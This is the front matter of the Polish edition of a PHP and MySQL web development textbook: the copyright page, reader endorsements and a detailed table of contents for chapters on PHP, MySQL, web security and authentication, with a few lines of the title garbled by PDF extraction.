Download as pdf or txt
Download as pdf or txt
You are on page 1of 710

Luke Welling

Laura Thomson

PHP
i MySQL
7ZRU]HQLHVWURQ:::
9DGHPHFXPSURIHVMRQDOLVW\
:\GDQLH9

5R]ZLĉ]DQLHGODQLH]DZRGQ\FKG\QDPLF]Q\FKZLWU\Q
Tytuł oryginału: PHP and MySQL Web Development (5th Edition)

Tłumaczenie: Piotr Rajca

ISBN: 978-83-283-3257-7

Authorized translation from the English language edition, entitled: PHP AND MYSQL WEB
DEVELOPMENT, Fifth Edition, ISBN 0321833899; by Luke Welling; and by Laura Thomson;
published by Pearson Education, Inc, publishing as Addison Wesley.
Copyright © 2017 by Pearson Education, Inc.

All rights reserved. No part of this book may be reproduced or transmitted in any form
or by any means, electronic or mechanical, including photocopying, recording or by any
information storage retrieval system, without permission from Pearson Education Inc.
Polish language edition published by HELION S.A. Copyright © 2017.

Wszelkie prawa zastrzeżone. Nieautoryzowane rozpowszechnianie całości lub fragmentu


niniejszej publikacji w jakiejkolwiek postaci jest zabronione. Wykonywanie kopii
metodą kserograficzną, fotograficzną, a także kopiowanie książki na nośniku filmowym,
magnetycznym lub innym powoduje naruszenie praw autorskich niniejszej publikacji.

Wszystkie znaki występujące w tekście są zastrzeżonymi znakami firmowymi


bądź towarowymi ich właścicieli.

Autor oraz Wydawnictwo HELION dołożyli wszelkich starań, by zawarte


w tej książce informacje były kompletne i rzetelne. Nie biorą jednak żadnej
odpowiedzialności ani za ich wykorzystanie, ani za związane z tym ewentualne
naruszenie praw patentowych lub autorskich. Autor oraz Wydawnictwo HELION
nie ponoszą również żadnej odpowiedzialności za ewentualne szkody wynikłe
z wykorzystania informacji zawartych w książce.

Wydawnictwo HELION
ul. Kościuszki 1c, 44-100 GLIWICE
tel. 32 231 22 19, 32 230 98 63
e-mail: helion@helion.pl
WWW: http://helion.pl (księgarnia internetowa, katalog książek)

Pliki z przykładami omawianymi w książce można znaleźć pod adresem:


ftp://ftp.helion.pl/przyklady/phmsv5.zip

Drogi Czytelniku!
Jeżeli chcesz ocenić tę książkę, zajrzyj pod adres
http://helion.pl/user/opinie/phmsv5_ebook
Możesz tam wpisać swoje uwagi, spostrzeżenia, recenzję.

 Poleć książkę na Facebook.com  Księgarnia internetowa


 Kup w wersji papierowej  Lubię to! » Nasza społeczność
 Oceń książkę
„To najlepsza książka dotycząca programowania, jaką dotąd kupiłem… Zawiera ogrom informacji,
łatwo się ją czyta, a zamieszczone przykłady zdecydowanie przewyższają jakością te prezentowane
w innych publikacjach informatycznych, z jakich dotąd korzystałem. Naprawdę doskonale się ją czyta!”.
— Nick Landman

„Książka Wellinga i Thomson jest jedyną, o której mogę powiedzieć, że nie można się bez niej obejść.
Tekst jest klarowny i zrozumiały, a jednocześnie czytelnik nie ma poczucia zmarnowanego czasu. Struktura
książki jest bardzo dobrze przemyślana. Rozdziały są ani za krótkie, ani za długie, a ich tytuły od razu
wskazują, czego dane fragmenty dotyczą”.
— Wright Sullivan, prezes firmy A&E Engineering, Inc. z Greer South Karolina

„Chciałem tylko powiedzieć, że PHP i MySQL. Tworzenie stron WWW. Vademecum programisty jest
doskonała! Ma logiczną strukturę, odpowiedni poziom zaawansowania, przynajmniej jak dla mnie (a je-
stem średnio zaawansowany), jest interesująca i łatwo się ją czyta. I oczywiście zawiera same przydatne
informacje!”.
— CodE-E, Austria

„Na rynku dostępnych jest kilka książek wprowadzających w tematykę PHP, lecz publikacja Wellinga
i Thomson to doskonała pozycja dla osób, które chcą nauczyć się tworzyć złożone i niezawodne syste-
my informatyczne. Od razu widać, że autorzy mają duże doświadczenie w tworzeniu profesjonalnych
aplikacji i potrafią nauczyć nie tylko samego języka, ale również sposobów jego używania z wykorzysta-
niem odpowiednich praktyk programistycznych”.
— Javier Garcia, starszy inżynier telekomunikacji,
Laboratorium Badawczo-Rozwojowe firmy Telefonica, Madryt

„Książka wpadła mi w ręce dwa dni temu i dotarłem do jej połowy. Nie mogę się od niej oderwać!
Układ książki i kolejność poruszanych zagadnień jest bez zarzutu. Informacje podawane są w bardzo
przystępny sposób. Wszystko jest dla mnie od razu zrozumiałe. Cudowne są również przykłady.
Oderwałem się od lektury tylko na chwilę, żeby powiedzieć wam, jak doskonale można spędzać czas,
czytając tę książkę”.
— Jason B. Lancaster

„Książka zyskała już sobie rzesze wiernych fanów, między innymi dzięki zamieszczeniu w niej krót-
kiego kursu języka PHP i doskonałego opisu MySQL pod kątem ich wykorzystania w aplikacjach inter-
netowych. W publikacji prezentowanych jest kilka kompletnych aplikacji, które stanowią doskonały
przykład ilustrujący sposoby tworzenia modularnych, skalowalnych aplikacji w języku PHP.
Bez względu na to, czy jest się początkującym programistą PHP, czy też weteranem poszukującym
jak najlepszego źródła informacji, ta książka na pewno nikogo nie zawiedzie!”.
— WebDynamic

„Bez dwóch zdań biblia PHP i MySQL. Książka PHP i MySQL. Tworzenie stron WWW. Vademecum
profesjonalisty Luke’a Wellinga i Laury Thomson przekonała mnie, że programowanie i korzystanie z baz
danych jest dostępne dla każdego. Dowiedziałem się dopiero 1/10000 tego, co warto wiedzieć, a już jestem
oczarowany”.
— Tim Luoma, TnTLuoma.com

„Książka Wellinga i Thomson jest doskonałym przewodnikiem dla osób, które od razu chciałyby się
zmierzyć z tworzeniem praktycznych projektów. Znajdują się w niej przykładowe aplikacje: obsługi
poczty, koszyka na zakupy, kontroli sesji, a także proste forum internetowe i weblog, zaś na początku
prezentowany jest opis języka PHP, po którym następuje charakterystyka podstawowych zagadnień
dotyczących serwera bazodanowego MySQL”.
— twilight30 w Slashdot
„Książka jest po prostu doskonała, żeby nie zanudzać… Luke Welling i Laura Thomson doskonale tłuma-
czą takie zagadnienia, jak wyrażenia regularne, klasy i obiekty, sesje i im podobne. Dzięki tej książce
bez trudu uzupełniłem luki w znajomości zagadnień, których dotychczas zupełnie nie mogłem
pojąć… Publikacja skupia się na funkcjach i rozwiązaniach najczęściej używanych w PHP, po czym
następuje prezentacja praktycznych rozwiązań, sposobu integracji z MySQL, a także zagadnień bezpie-
czeństwa podanych z perspektywy kierownika projektów. Nawet najmniejszy fragment książki został
przemyślany i podany w zrozumiały sposób”.
— notepad w codewalkers.com

„Przewodnik dla programistów PHP i MySQL z najwyższej półki. Szczerze polecamy”.


— The Internet Writing Journal

„Ta książka nie ma sobie równych! Jestem doświadczonym programistą, dlatego nie potrzebuję już
właściwie pomocy w zakresie składni PHP, która nie odbiega przecież za bardzo od składni C/C++.
Nie miałem jednak zielonego pojęcia o bazach danych, dlatego gdy przyszło do stworzenia aplikacji
do recenzowania książek, stwierdziłem, że potrzebuję szczegółowego przewodnika po PHP i MySQL.
Mam już publikację mSQL and MySQL Wydawnictwa O’Reilly; zapewne jest ona bardziej przydatnym
źródłem informacji na temat języka SQL, lecz ta książka zasłużyła sobie na ważne miejsce na mojej
półce… Z czystym sumieniem polecam”.
— Paul Robichaux

„Jedna z najlepszych książek programistycznych, jaką kiedykolwiek miałem w ręku”.


— jackofsometrades z Lahti w Finlandii

„Książka jest ciekawie napisana i przeznaczona dla osób, które chcą nauczyć się tworzenia aplikacji
internetowych w dwóch najpopularniejszych technologiach o otwartym dostępie do kodu źródłowego…
Projekty praktyczne są perełką tej publikacji. Są one opisane i stworzone w sposób logiczny i modułowy,
a jednocześnie stanowią wybór rozwiązań, które najczęściej wykorzystuje się w wielu prawdziwych
witrynach internetowych”.
— Craig Cecil

„Książka krok po kroku, w przystępny sposób wprowadza nawet zupełnie niedoświadczonego progra-
mistę w tajniki programowania w PHP. W trakcie lektury często wracałem pamięcią do własnych
początków tworzenia aplikacji WWW. Cały czas uczę się PHP, lecz ta książka dała mi solidną podstawę,
od której mogę rozpocząć dalszą naukę, i przez cały czas stanowi dla mnie bezcenną pomoc”.
— Stephen Ward

„Jest to jedna z niewielu książek, która rzeczywiście do mnie przemówiła i przekonała do siebie. Nie
mogę odłożyć jej na półkę; cały czas leży w zasięgu ręki, ponieważ co chwila z niej korzystam.
Książka ma logiczną strukturę, wywody napisano prostym i zrozumiałym językiem, zaś przykła-
dy są jasne i prezentowane krok po kroku. Przed rozpoczęciem lektury nie wiedziałem niczego na temat
PHP i MySQL. Natomiast po zakończeniu lektury mam wrażenie, że jestem w stanie stworzyć nawet
bardzo skomplikowaną aplikację WWW”.
— Power Wong

„Ta książka jest boska… Szczerze ją polecam każdemu, kto chce się zagłębić w zagadnienia dotyczące
programowania aplikacji WWW opartych na bazach danych. Szkoda, że inne publikacje na temat pro-
gramowania nie są podobne…”
— Sean C. Schertell
Spis treści
O autorach ............................................................................................ 19
O współautorach .................................................................................. 19
Wprowadzenie ...................................................................................... 21

Część I Stosowanie PHP ..................................................................31


Rozdział 1. Podstawowy kurs PHP ........................................................................... 33
Zastosowanie PHP ...............................................................................................................34
Tworzenie przykładowej aplikacji: „Części samochodowe Janka” .....................................34
Formularz zamówienia ..................................................................................................34
Przetwarzanie formularza ..............................................................................................36
Osadzanie PHP w HTML ....................................................................................................36
Zastosowanie znaczników PHP .....................................................................................37
Instrukcje PHP ..............................................................................................................38
Odstępy .........................................................................................................................38
Komentarze ...................................................................................................................39
Dodawanie zawartości dynamicznej ....................................................................................39
Wywoływanie funkcji ...................................................................................................40
Używanie funkcji date() ................................................................................................40
Dostęp do zmiennych formularza ........................................................................................41
Zmienne formularza ......................................................................................................41
Łączenie łańcuchów znaków .........................................................................................43
Zmienne i łańcuchy znaków ..........................................................................................43
Identyfikatory ......................................................................................................................44
Typy zmiennych ..................................................................................................................44
Typy danych w PHP ......................................................................................................45
Siła typu ........................................................................................................................45
Rzutowanie typu ............................................................................................................46
Zmienne zmiennych ......................................................................................................46
Deklarowanie i używanie stałych ........................................................................................46
Zasięg zmiennych ................................................................................................................47
Używanie operatorów ..........................................................................................................48
Operatory arytmetyczne ................................................................................................48
Operatory łańcuchowe ...................................................................................................49
Operatory przypisania ...................................................................................................49
Operatory porównań ......................................................................................................52
Operatory logiczne ........................................................................................................52
Operatory bitowe ...........................................................................................................53
Pozostałe operatory .......................................................................................................53
6 PHP i MySQL. Tworzenie stron WWW. Vademecum profesjonalisty

Obliczanie sum w formularzu ..............................................................................................56


Pierwszeństwo i kolejność ...................................................................................................57
Funkcje zarządzania zmiennymi ..........................................................................................59
Sprawdzanie i ustawianie typów zmiennych .................................................................59
Sprawdzanie stanu zmiennej .........................................................................................60
Reinterpretacja zmiennych ............................................................................................61
Podejmowanie decyzji za pomocą instrukcji warunkowych ................................................61
Instrukcja if ...................................................................................................................61
Bloki kodu .....................................................................................................................62
Instrukcja else ...............................................................................................................62
Instrukcja elseif .............................................................................................................63
Instrukcja switch ...........................................................................................................63
Porównanie różnych instrukcji warunkowych ...............................................................65
Powtarzanie działań przy użyciu iteracji .............................................................................65
Pętle while .....................................................................................................................66
Pętle for i foreach ..........................................................................................................67
Pętle do..while ...............................................................................................................68
Wyłamywanie się ze struktury skryptu ................................................................................69
Używanie alternatywnych składni struktur sterujących .......................................................69
Używanie struktury declare .................................................................................................70
W następnym rozdziale .......................................................................................................70

Rozdział 2. Przechowywanie i wyszukiwanie danych .......................................... 71


Zapisywanie danych do późniejszego użycia ......................................................................71
Przechowywanie i wyszukiwanie zamówień Janka .............................................................72
Przetwarzanie plików ..........................................................................................................72
Otwieranie pliku ..................................................................................................................73
Tryby otwarcia pliku .....................................................................................................73
Stosowanie funkcji fopen() do otwarcia pliku ...............................................................73
Otwieranie pliku przez protokół FTP lub HTTP ...........................................................75
Problemy z otwieraniem plików ....................................................................................76
Zapisywanie danych w pliku ...............................................................................................77
Parametry funkcji fwrite() .............................................................................................78
Formaty plików .............................................................................................................79
Zamykanie pliku ..................................................................................................................79
Odczyt z pliku .....................................................................................................................81
Otwieranie pliku w celu odczytu — fopen() .................................................................82
Wiedzieć, kiedy przestać — feof() ................................................................................82
Odczytywanie pliku wiersz po wierszu — fgets(), fgetss() i fgetcsv() ..........................83
Odczyt całego pliku — readfile(), fpassthru(), file() i file_get_contents() .........................83
Odczyt pojedynczego znaku — fgetc() .........................................................................84
Odczytywanie zadanej długości — fread() ....................................................................85
Inne funkcje plikowe ...........................................................................................................85
Sprawdzanie istnienia pliku — file_exists() ..................................................................85
Określanie wielkości pliku — filesize() ........................................................................85
Kasowanie pliku — unlink() .........................................................................................86
Poruszanie się wewnątrz pliku — rewind(), fseek() i ftell() ..........................................86
Blokowanie pliku ................................................................................................................87
Lepszy sposób obróbki danych — bazy danych ..................................................................88
Problemy związane ze stosowaniem plików jednorodnych ...........................................88
Jak RDBMS rozwiązują powyższe problemy? ..............................................................89
Propozycje dalszych lektur ..................................................................................................89
W następnym rozdziale .......................................................................................................89
Spis treści 7

Rozdział 3. Stosowanie tablic .................................................................................. 91


Czym są tablice? ..................................................................................................................91
Tablice indeksowane numerycznie ......................................................................................92
Inicjowanie tablic indeksowanych numerycznie ...........................................................92
Dostęp do zawartości tablicy .........................................................................................93
Dostęp do tablic przy zastosowaniu pętli ......................................................................94
Tablice z innymi indeksami .................................................................................................94
Inicjowanie tablicy ........................................................................................................95
Dostęp do elementów tablicy ........................................................................................95
Stosowanie pętli ............................................................................................................95
Operatory tablicowe ............................................................................................................96
Tablice wielowymiarowe ....................................................................................................97
Sortowanie tablic ...............................................................................................................100
Stosowanie funkcji sort() ............................................................................................100
Stosowanie funkcji asort() i ksort() do porządkowania tablic .....................................101
Sortowanie odwrotne ...................................................................................................102
Sortowanie tablic wielowymiarowych ...............................................................................102
Zastosowanie funkcji array_multisort() .......................................................................102
Typy sortowań definiowane przez użytkownika .........................................................103
Odwrotne sortowanie zdefiniowane przez użytkownika .............................................104
Zmiany kolejności elementów w tablicach ........................................................................105
Stosowanie funkcji shuffle() .......................................................................................105
Odwracanie kolejności elementów w tablicy ..............................................................106
Wczytywanie tablic z plików ............................................................................................107
Wykonywanie innych działań na tablicach ........................................................................110
Poruszanie się wewnątrz tablicy
— funkcje each(), current(), reset(), end(), next(), pos() i prev() .............................110
Dołączanie dowolnej funkcji do każdego elementu tablicy
— funkcja array_walk() ...........................................................................................111
Liczenie elementów tablicy: count(), sizeof() i array_count_values() .........................112
Konwersja tablic na zmienne skalarne — funkcja extract() ........................................112
Propozycje dalszych lektur ................................................................................................114
W następnym rozdziale .....................................................................................................114

Rozdział 4. Manipulowanie łańcuchami znaków i wyrażenia regularne ......... 115


Przykładowa aplikacja — Inteligentny Formularz Pocztowy ............................................115
Formatowanie łańcuchów znaków ....................................................................................117
Przycinanie łańcuchów — funkcje chop(), ltrim() i trim() ..........................................118
Formatowanie wyjściowych łańcuchów znaków ........................................................118
Łączenie i rozdzielanie łańcuchów znaków za pomocą funkcji łańcuchowych .................125
Stosowanie funkcji explode(), implode() i join() .........................................................125
Stosowanie funkcji strtok() .........................................................................................126
Stosowanie funkcji substr() .........................................................................................127
Porównywanie łańcuchów znaków ....................................................................................127
Porządkowanie łańcuchów znaków
— funkcje strcmp(), strcasecmp() i strnatcmp() .......................................................128
Sprawdzanie długości łańcucha znaków za pomocą funkcji strlen() ...........................128
Dopasowywanie i zamiana łańcuchów znaków za pomocą funkcji łańcuchowych ...........129
Znajdowanie fragmentów w łańcuchach znaków
— funkcje strstr(), strchr(), strrchr() i stristr() ..........................................................129
Odnajdywanie pozycji fragmentu łańcucha — funkcje strpos() i strrpos() .................130
Zamiana fragmentów łańcucha znaków — funkcje str_replace() i substr_replace() ....131
Wprowadzenie do wyrażeń regularnych ............................................................................132
Podstawy .....................................................................................................................132
Ograniczniki ................................................................................................................132
8 PHP i MySQL. Tworzenie stron WWW. Vademecum profesjonalisty

Zbiory i klasy znaków .................................................................................................133


Powtarzalność .............................................................................................................134
Podwyrażenia ..............................................................................................................135
Podwyrażenia policzalne .............................................................................................135
Kotwiczenie na początku lub na końcu łańcucha znaków ...........................................135
Rozgałęzianie ..............................................................................................................135
Dopasowywanie specjalnych znaków literowych .......................................................136
Podsumowanie metaznaków .......................................................................................136
Sekwencje specjalne ....................................................................................................137
Odwołania wsteczne ....................................................................................................138
Asercje ........................................................................................................................138
Wykorzystanie wszystkich zdobytych informacji — inteligentny formularz ..............139
Odnajdywanie fragmentów łańcuchów za pomocą wyrażeń regularnych .........................140
Zamiana fragmentów łańcuchów za pomocą wyrażeń regularnych ..................................141
Rozdzielanie łańcuchów za pomocą wyrażeń regularnych ................................................141
Propozycje dalszych lektur ................................................................................................142
W następnym rozdziale .....................................................................................................142

Rozdział 5. Ponowne wykorzystanie kodu i tworzenie funkcji ........................... 143


Zalety ponownego stosowania kodu ..................................................................................143
Koszt ...........................................................................................................................144
Niezawodność .............................................................................................................144
Spójność ......................................................................................................................144
Stosowanie funkcji require() i include() ............................................................................144
Stosowanie funkcji require() do dołączania kodu ........................................................145
Stosowanie require() w szablonach stron WWW ..............................................................146
Stosowanie opcji auto_prepend_file i auto_append_file .............................................150
Stosowanie funkcji w PHP ................................................................................................151
Wywoływanie funkcji .................................................................................................151
Wywołanie niezdefiniowanej funkcji ..........................................................................153
Wielkość liter a nazwy funkcji ....................................................................................154
Definiowanie własnych funkcji .........................................................................................154
Podstawowa struktura funkcji ...........................................................................................154
Nadawanie nazwy funkcji ...........................................................................................155
Parametry ..........................................................................................................................156
Zasięg ................................................................................................................................158
Przekazanie przez referencję czy przekazanie przez wartość? ..........................................160
Stosowanie słowa kluczowego return ................................................................................161
Zwracanie wartości przez funkcje ...............................................................................162
Implementacja rekurencji ..................................................................................................163
Implementacja funkcji anonimowych (lub domknięć) ................................................165
Propozycje dalszych lektur ................................................................................................166
W następnym rozdziale .....................................................................................................166

Rozdział 6. Obiektowy PHP .................................................................................... 167


Koncepcje programowania obiektowego ...........................................................................167
Klasy i obiekty ............................................................................................................168
Polimorfizm ................................................................................................................169
Dziedziczenie ..............................................................................................................169
Tworzenie klas, atrybutów i operacji w PHP .....................................................................170
Struktura klasy ............................................................................................................170
Konstruktory ...............................................................................................................170
Destruktory ..................................................................................................................171
Tworzenie egzemplarzy .....................................................................................................171
Stosowanie atrybutów klasy ..............................................................................................172
Wywoływanie operacji klas ...............................................................................................172
Spis treści 9

Kontrola dostępu przy użyciu modyfikatorów private i public ..........................................173


Pisanie funkcji dostępowych .............................................................................................174
Implementacja dziedziczenia w PHP .................................................................................175
Kontrolowanie widoczności w trakcie dziedziczenia
przy użyciu private i protected .................................................................................176
Przesłanianie ...............................................................................................................177
Zapobieganie dziedziczeniu i przesłanianiu przy użyciu słowa kluczowego final ......178
Wielokrotne dziedziczenie ..........................................................................................179
Implementowanie interfejsów .....................................................................................180
Cechy .................................................................................................................................180
Projektowanie klas ............................................................................................................182
Tworzenie kodu dla własnej klasy .....................................................................................183
Zaawansowane mechanizmy obiektowe w PHP ................................................................189
Używanie stałych klasowych ......................................................................................189
Implementowanie metod statycznych .........................................................................190
Sprawdzanie typu klasy i wskazywanie typu ..............................................................190
Późne wiązania statyczne ............................................................................................191
Klonowanie obiektów .................................................................................................191
Używanie klas abstrakcyjnych ....................................................................................192
Przeciążanie metod przy użyciu __call() .....................................................................192
Używanie metody __autoload() ..................................................................................193
Implementowanie iteratorów i iteracji .........................................................................194
Generatory ...................................................................................................................195
Przekształcanie klas w łańcuchy znaków ....................................................................197
Używanie API Reflection ............................................................................................197
Przestrzenie nazw ........................................................................................................198
Stosowanie podprzestrzeni nazw .................................................................................200
Prezentacja globalnej przestrzeni nazw .......................................................................200
Importowanie przestrzeni nazw oraz określanie ich nazw zastępczych ......................200
W następnym rozdziale .....................................................................................................201

Rozdział 7. Obsługa błędów i wyjątków .............................................................. 203


Koncepcja obsługi wyjątków .............................................................................................203
Klasa Exception .................................................................................................................205
Wyjątki definiowane przez użytkownika ..........................................................................206
Wyjątki w Częściach samochodowych Janka ....................................................................207
Wyjątki i inne mechanizmy obsługi błędów w PHP ..........................................................210
Propozycje dalszych lektur ................................................................................................211
W następnym rozdziale .....................................................................................................211

Część II Stosowanie MySQL ...........................................................213


Rozdział 8. Projektowanie internetowej bazy danych ........................................ 215
Koncepcje relacyjnych baz danych ...................................................................................216
Tabele ..........................................................................................................................216
Kolumny .....................................................................................................................216
Wiersze .......................................................................................................................216
Wartości ......................................................................................................................217
Klucze .........................................................................................................................217
Schematy .....................................................................................................................218
Relacje .........................................................................................................................218
Jak zaprojektować internetową bazę danych? ...................................................................219
Określ obiekty świata realnego, których model chcesz wykonać ................................219
Unikaj przechowywania redundantnych danych .........................................................220
Zapisuj atomowe wartości kolumn ..............................................................................221
10 PHP i MySQL. Tworzenie stron WWW. Vademecum profesjonalisty

Dobierz właściwe klucze .............................................................................................222


Pomyśl o zapytaniach, które zadasz bazie ...................................................................222
Unikaj tworzenia tabel z wieloma pustymi polami .....................................................222
Typy tabel — podsumowanie ......................................................................................223
Architektura internetowej bazy danych .............................................................................224
Propozycje dalszych lektur ................................................................................................225
W następnym rozdziale .....................................................................................................225

Rozdział 9. Tworzenie internetowej bazy danych ............................................... 227


Użytkowanie monitora MySQL ........................................................................................228
Logowanie się do serwera MySQL ...................................................................................229
Tworzenie baz i rejestrowanie użytkowników ..................................................................230
Definiowanie użytkowników i przywilejów ......................................................................230
Wprowadzenie do systemu przywilejów MySQL .............................................................231
Zasada najmniejszego przywileju ................................................................................231
Rejestrowanie użytkowników: polecenia CREATE USER oraz GRANT ..................231
Typy i poziomy przywilejów ......................................................................................233
Polecenie REVOKE ....................................................................................................236
Przykłady użycia poleceń GRANT i REVOKE ..........................................................236
Rejestrowanie użytkownika łączącego się z internetu .......................................................237
Używanie odpowiedniej bazy danych ...............................................................................238
Tworzenie tabel bazy danych ............................................................................................238
Znaczenie dodatkowych atrybutów kolumn ................................................................240
Typy kolumn ...............................................................................................................241
Rzut oka na bazę danych — polecenia SHOW i DESCRIBE .....................................243
Tworzenie indeksów ...................................................................................................243
Identyfikatory MySQL ......................................................................................................244
Wybór typów danych w kolumnach ..................................................................................246
Typy liczbowe .............................................................................................................246
Propozycje dalszych lektur ................................................................................................251
W następnym rozdziale .....................................................................................................251

Rozdział 10. Praca z bazą danych MySQL ............................................................. 253


Czym jest SQL? ................................................................................................................253
Zapisywanie danych do bazy .............................................................................................254
Wyszukiwanie danych w bazie ..........................................................................................256
Wyszukiwanie danych spełniających określone kryteria ............................................257
Wyszukiwanie danych w wielu tabelach .....................................................................259
Szeregowanie danych w określonym porządku ...........................................................264
Grupowanie i agregowanie danych .............................................................................264
Wskazanie wierszy, które mają być wyświetlone .......................................................266
Używanie podzapytań .................................................................................................267
Dokonywanie zmian rekordów w bazie danych ................................................................269
Zmiana struktury istniejących tabel ...................................................................................269
Usuwanie rekordów z bazy danych ...................................................................................271
Usuwanie tabel ..................................................................................................................272
Usuwanie całych baz danych .............................................................................................272
Propozycje dalszych lektur ................................................................................................272
W następnym rozdziale .....................................................................................................272

Rozdział 11. Łączenie się z bazą MySQL za pomocą PHP .................................... 273
Jak działa internetowa baza danych? .................................................................................273
Wykonywanie zapytań do bazy danych z poziomu strony WWW ....................................276
Sprawdzenie poprawności wpisanych danych .............................................................277
Ustanawianie połączenia z bazą danych ......................................................................278
Wybór używanej bazy danych .....................................................................................279
Spis treści 11

Wysyłanie zapytań do bazy danych ............................................................................279


Stosowanie poleceń przygotowanych ..........................................................................280
Odczytywanie rezultatów zapytań ...............................................................................281
Zamykanie połączenia z bazą danych .........................................................................282
Wstawianie nowych danych do bazy .................................................................................283
Używanie innych interfejsów bazodanowych PHP ...........................................................286
Stosowanie ogólnego interfejsu dostępu do baz danych: PDO ....................................286
Propozycje dalszych lektur ................................................................................................289
W następnym rozdziale .....................................................................................................289

Rozdział 12. Administrowanie MySQL dla zaawansowanych .............................. 291


Szczegóły systemu przywilejów ........................................................................................291
Tabela user ..................................................................................................................293
Tabela db .....................................................................................................................295
Tabele tables_priv, columns_priv i procs_priv ...........................................................296
Kontrola dostępu: w jaki sposób MySQL używa tabel przywilejów ...........................297
Zmiana przywilejów: kiedy zmiany zostaną uwzględnione? ......................................298
Ochrona bazy danych ........................................................................................................298
MySQL z perspektywy systemu operacyjnego ...........................................................298
Hasła ...........................................................................................................................299
Przywileje użytkowników ...........................................................................................299
MySQL i internet ........................................................................................................300
Uzyskiwanie szczegółowych informacji o bazie danych ...................................................301
Uzyskiwanie informacji poleceniem SHOW ...............................................................301
Uzyskiwanie informacji o kolumnach za pomocą polecenia DESCRIBE ...................303
Jak wykonywane są zapytania: polecenie EXPLAIN ..................................................303
Optymalizowanie bazy danych ..........................................................................................308
Optymalizacja projektu bazy danych ..........................................................................308
Przywileje ....................................................................................................................308
Optymalizacja tabel .....................................................................................................308
Stosowanie indeksów ..................................................................................................308
Używanie wartości domyślnych ..................................................................................309
Więcej wskazówek ......................................................................................................309
Tworzenie kopii zapasowej bazy danych MySQL ............................................................309
Przywracanie bazy danych MySQL ..................................................................................310
Implementowanie replikacji ..............................................................................................310
Konfigurowanie serwera nadrzędnego ........................................................................311
Transfer danych początkowych ...................................................................................311
Konfigurowanie odbiorcy lub odbiorców ....................................................................312
Propozycje dalszych lektur ................................................................................................312
W następnym rozdziale .....................................................................................................312

Rozdział 13. Zaawansowane programowanie w MySQL ...................................... 313


Instrukcja LOAD DATA INFILE .....................................................................................313
Mechanizmy składowania danych .....................................................................................314
Transakcje .........................................................................................................................315
Definicje dotyczące transakcji .....................................................................................315
Użycie transakcji w InnoDB .......................................................................................316
Klucze obce .......................................................................................................................317
Procedury składowane .......................................................................................................318
Prosty przykład ............................................................................................................318
Zmienne lokalne ..........................................................................................................321
Kursory i struktury sterujące .......................................................................................321
Wyzwalacze ......................................................................................................................324
Propozycje dalszych lektur ................................................................................................326
W następnym rozdziale .....................................................................................................326
12 PHP i MySQL. Tworzenie stron WWW. Vademecum profesjonalisty

Część III E-commerce i bezpieczeństwo ......................................327


Rozdział 14. Zagrożenia bezpieczeństwa aplikacji internetowych ..................... 329
Identyfikacja zagrożeń .......................................................................................................329
Dostęp do wrażliwych danych ....................................................................................329
Modyfikacje danych ....................................................................................................332
Utrata lub zniszczenie danych .....................................................................................332
Blokada usługi .............................................................................................................333
Wstrzykiwanie złośliwego kodu ..................................................................................335
Złamanie zabezpieczeń dostępu do serwera ................................................................336
Zaprzeczenie korzystania z usługi ...............................................................................336
Identyfikacja użytkowników .............................................................................................337
Napastnicy i crackerzy ................................................................................................337
Nieświadomi użytkownicy zainfekowanych komputerów ..........................................338
Rozczarowani pracownicy ..........................................................................................338
Złodzieje sprzętu komputerowego ..............................................................................338
My sami ......................................................................................................................338
W następnym rozdziale .....................................................................................................339

Rozdział 15. Tworzenie bezpiecznych aplikacji internetowych .......................... 341


Strategie zapewniania bezpieczeństwa ..............................................................................341
Planowanie z wyprzedzeniem .....................................................................................342
Równowaga między bezpieczeństwem i użytecznością ..............................................342
Monitorowanie bezpieczeństwa ..................................................................................343
Ogólne podejście do bezpieczeństwa ..........................................................................343
Zabezpieczanie kodu źródłowego ......................................................................................343
Filtrowanie danych pochodzących od użytkowników .................................................343
Unieważnianie danych wynikowych ...........................................................................347
Organizacja kodu źródłowego .....................................................................................349
Zawartość kodu źródłowego .......................................................................................350
Zagadnienia dotyczące systemu plików ......................................................................351
Stabilność kodu i błędy ...............................................................................................352
Wykonywanie poleceń ................................................................................................352
Zabezpieczanie serwera WWW oraz PHP .........................................................................354
Regularne uaktualnianie oprogramowania ..................................................................354
Analiza ustawień w pliku php.ini ................................................................................355
Konfiguracja serwera WWW ......................................................................................355
Aplikacje internetowe
działające na współużytkowanych serwerach hostingowych ...................................356
Bezpieczeństwo serwera bazy danych ...............................................................................357
Użytkownicy i system uprawnień ...............................................................................357
Wysyłanie danych do serwera .....................................................................................358
Łączenie się z serwerem ..............................................................................................359
Praca serwera ..............................................................................................................359
Zabezpieczanie sieci ..........................................................................................................359
Zapory sieciowe ..........................................................................................................360
Wykorzystanie strefy zdemilitaryzowanej ..................................................................360
Przygotowanie na ataki DoS i DDoS ..........................................................................361
Bezpieczeństwo komputerów i systemów operacyjnych ...................................................361
Uaktualnianie systemu operacyjnego ..........................................................................361
Udostępnianie tylko niezbędnych usług ......................................................................362
Fizyczne zabezpieczenie serwera ................................................................................362
Planowanie działań na wypadek awarii .............................................................................362
W następnym rozdziale .....................................................................................................364
Spis treści 13

Rozdział 16. Implementacja metod uwierzytelniania przy użyciu PHP ............... 365
Identyfikacja użytkowników .............................................................................................365
Implementacja kontroli dostępu ........................................................................................366
Przechowywanie haseł dostępu ...................................................................................368
Zabezpieczanie haseł ...................................................................................................369
Zabezpieczanie więcej niż jednej strony .....................................................................370
Podstawowa metoda uwierzytelniania ...............................................................................371
Wykorzystanie podstawowej metody uwierzytelniania w PHP .........................................371
Wykorzystanie podstawowej metody uwierzytelniania na serwerze Apache
przy użyciu plików .htaccess ..........................................................................................373
Implementacja własnej metody uwierzytelniania ..............................................................376
Propozycje dalszych lektur ................................................................................................376
W następnym rozdziale .....................................................................................................376

Część IV Zaawansowane techniki PHP ..........................................377


Rozdział 17. Interakcja z systemem plików i serwerem ....................................... 379
Wprowadzenie do wysyłania plików .................................................................................379
Kod HTML służący do wysyłania plików ...................................................................380
Tworzenie kodu PHP obsługującego plik ...................................................................381
Śledzenie postępów przesyłania plików ......................................................................385
Najczęściej spotykane problemy .................................................................................387
Stosowanie funkcji katalogowych .....................................................................................388
Odczyt z katalogów .....................................................................................................388
Otrzymywanie informacji na temat aktualnego katalogu ............................................391
Tworzenie i usuwanie katalogów ................................................................................391
Interakcja z systemem plików ...........................................................................................392
Pobieranie informacji o pliku ......................................................................................392
Zmiana właściwości pliku ...........................................................................................394
Tworzenie, usuwanie i przenoszenie plików ...............................................................395
Stosowanie funkcji uruchamiających programy ................................................................395
Interakcja ze środowiskiem: funkcje getenv() i putenv() ...................................................398
Propozycje dalszych lektur ................................................................................................398
